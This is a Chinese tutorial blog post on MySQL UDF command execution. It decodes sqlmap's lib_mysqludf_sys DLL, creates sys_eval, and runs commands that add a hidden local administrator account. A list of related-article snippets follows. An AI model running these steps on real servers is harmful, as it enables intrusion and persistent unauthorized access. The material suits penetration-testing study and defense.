MySQL利用UDF执行命令
UDF即User-Defined Functions
lib_mysqludf_sys 在github的介绍:
A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.
lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme
自动化注入工具Sqlmap已经集成了此功能。
在 sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
(sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_,但是64位的测试失败)
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
可以利用sqlmap 自带的解码工具cloak.py
目录 sqlmap\extra\cloak\cloak.py 对 sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解码后,再直接利用
首先进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_会生成 lib_mysqludf_sys.dll
攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
函数:
sys_eval, 执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get, 获取一个环境变量。
sys_set,创建或修改一个环境变量。
目标机以windows为例,MySQL版本为5.6
攻击过程中,首先需要将lib_mysqludf_sys(目标为windows时,lib_mysqludf_sys.dll; linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。
然后创建UDF。
lib_mysqludf_sys.dll的导出路径:
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
创建相应的函数:
create function sys_eval returns string soname 'udf.dll';
执行命令:
select sys_eval('whoami');
select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);
MySQL利用UDF执行命令相关推荐
- mysql udf 执行命令_mylab_sys_exec UDF调用mysql外部系统命令(For linux)
有时候为了方便,利用event/trigger调用系统外部命令,可因为安全问题,mysql自身并没有提供相关命令,这里提供个调用系统命令的自定义函数mylab_sys_exec so文件下载:myla ...
- mysql sys exec_python - 使用MySQL UDF执行命令-sys_exec不起作用 - 堆栈内存溢出
我正在尝试从MariaDB服务器运行python脚本. 我已经为此安装了mysqludf库. 我正在尝试使用sys_exec函数运行脚本,但是没有结果. 我已经创建了测试文件,它只是一个带有信息&qu ...
- MySQL篇之查询mysql的历史执行命令
一.前言 有时,我们在mysql中运行一些命令,我们按键盘向上方向键会一一列出来. 如何查看命令历史呢,就像在linux下的shell中查看shell命令历史. 在Linux下,查询历史命令可采用hi ...
- php利用wsh突破函数禁用执行命令(安全模式同理)
php利用wsh突破函数禁用执行命令(安全模式同理) 很多时候有些windows的服务器是支持wsh组建的,但是却执行不了命令,asp下执行被拒绝,php下执行报错,此时你可以借鉴以下的方法尝试. p ...
- sa执行命令方法总结
sa执行命令方法总结 转载请注明来源:BK瞬间群 测试环境:windows xp pro sp2 + mssql 2005(服务以system权限启动) 一.xp_cmdshell EXEC mast ...
- Linux 命令之 sudo -- 以其他用户身份来执行命令
文章目录 命令介绍 原理 相关文件 通配符 和命令 su 的比较 常用选项 几个重要选项的解读 -k 选项 -s 选项 -i 选项 su.sudo su.sudo -i 的区别 查看日志文件 参考示例 ...
- mysql groupadd_Linux下groupadd命令无法添加用户和组的解决
今天需要给一个linux服务器安装mysql,在安装mysql的时候,出现错误提示: [root@localhost softwaretools]# rpm -ivh MySQL-server-5.5 ...
- bt5 mysql root_MySQL_Linux利用UDF库实现Mysql提权,环境:
os:linux(bt5)database - phpStudy...
Linux利用UDF库实现Mysql提权 环境: os:linux(bt5) database:mysql 简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windo ...
- mysql 批量远程_【shell--批量远程MySQL,执行命令】-【工作总结】
昨天下班前,老板给了一批LOG数据库IP地址,需要统计LOG表里Message字段top 10的结果,并输出到一个excel文件里. 抽查看了下,有两种格式的以当天日期结尾的表名.由于数量太多,时间紧 ...
最新文章
- 深度学习计算机视觉常见的29道面试题及解析
- 记录一次java.lang.OutOfMemoryError: PermGen space异常
- 开源的ResearchKit:苹果将如何颠覆未来医疗?
- matlab raw函数,用matlab处理Raw格式的图像文件的方法
- 9.2.1 Renaming Retrieved Columns
- Android中的Notification
- freecodecamp_freeCodeCamp的学术诚信政策
- 南昌大学c语言大作业,南昌大学计算机C语言答案2
- python运用maya_Mayapythonapi场景选择操作
- Vue el-input实现动态显示type为textarea的文字数量、剩余字数
- 回溯法 —— 判断子集和问题是否存在解
- Android TableLayout
- 大数(小于10000)N的阶乘准确值(效率)
- php酒店系统论文,PHP酒店网站管理系统毕业论文
- Bug软件缺陷管理制度
- 【Android开发-4】进入实践,最喜欢折腾的计算器
- 联友科技软件测试,联友科技
- 全志科技A40i国产开发板——性能参数综合测试
- AUTOCAD——JOIN合并命令
- 备份谷歌或其他浏览器插件
热门文章
- jQuery——parent(),parents(),offsetParent(),closets()方法
- 【已解决】Errors during downloading metadata for repository ‘appstream‘: - Status code: 404 for
- 【详解】某企业的培训关系模式 R(培训科目,培训师,学生,成绩,时间,教室), R的函数依赖集 F={培训科目→→培训师,(学生,培训科目)→成绩,(时间,教室)→培训科目,(时间,培训师)→
- 常用的排序算法的时间复杂度和空间复杂度 .
- JNI之C语言简单回顾
- python3 打印目录下所有模块_python3基础12详解模块和包(库)|构建|使用
- java 华为面试题_JAVA华为面试题
- mysql definer_mysql常见问题之视图权限控制--安全性为DEFINER
- 虚拟机上部署的项目 访问路径怎么写_桌面虚拟化即将流行开来——基于Hyper-V虚拟机的桌面虚拟化部署...
- 华三服务器怎么设置系统启动模式,H3C 开局设置